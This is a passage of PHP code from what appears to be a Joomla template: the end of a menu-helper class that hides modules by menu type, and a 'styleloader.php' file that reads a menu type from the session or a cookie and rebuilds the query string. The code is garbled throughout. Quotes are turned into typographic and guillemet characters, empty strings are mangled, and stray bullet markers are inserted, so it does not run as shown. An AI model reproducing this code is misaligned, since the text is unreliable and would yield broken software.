if ($pid) {

return $this->items[$pid]->name;

  • }else return «»;

}

function removeMenu($menutype = ‘mainmenu’)

{

$tt =& JModuleHelper::_load();;

  • foreach ($tt as $k=>$mod)

{

if ( ! is_object($mod) )

continue;

  • if (preg_match(«/menutype=$menutype/i», $mod->params))

{

$tt[$k]->position=’none’;

}

}

}

}

$jparams = new JParameter(»); $jparams->set( ‘menutype’, ‘mainmenu’ );

  • $hmenu = new hm_Base ($jparams);
  • $hmenu->removeMenu();
  • ?>

4. styleloader.php

<?php

defined( ‘_JEXEC’ ) or die( ‘Restricted index access’ );

  • $fontstyle = «f-» . $default_font;
  • $mtype = $menu_type;
  • $cookie_prefix = «nbus-«;
  • $session = &JFactory::getSession();

//load menu type

if ($session->get($cookie_prefix. ‘mtype’)) {

$mtype = $session->get($cookie_prefix. ‘mtype’);

  • } elseif (isset($_COOKIE[$cookie_prefix. ‘mtype’])) {

$mtype = htmlentities(JRequest::getVar( $cookie_prefix.’mtype’, », ‘COOKIE’, ‘STRING’));

}

$menu_type = $mtype;

  • $thisurl = $_SERVER[‘PHP_SELF’] . rebuildQueryString();

function rebuildQueryString() {

$ignores = array(«contraststyle»,»fontstyle»,»widthstyle»);

if (!empty($_SERVER[‘QUERY_STRING’])) {

$parts = explode(«&», $_SERVER[‘QUERY_STRING’]);

  • $newParts = array();

foreach ($parts as $val) {

$val_parts = explode(«=», $val);

if (!in_array($val_parts[0], $ignores)) {

array_push($newParts, $val);

}

}

if (count($newParts) != 0) {

$qs = implode(«&amp;», $newParts);

} else {

return «?»;

}

return «?» . $qs . «&amp;»; // this is your new created query string

} else {

return «?»;

}

}

?>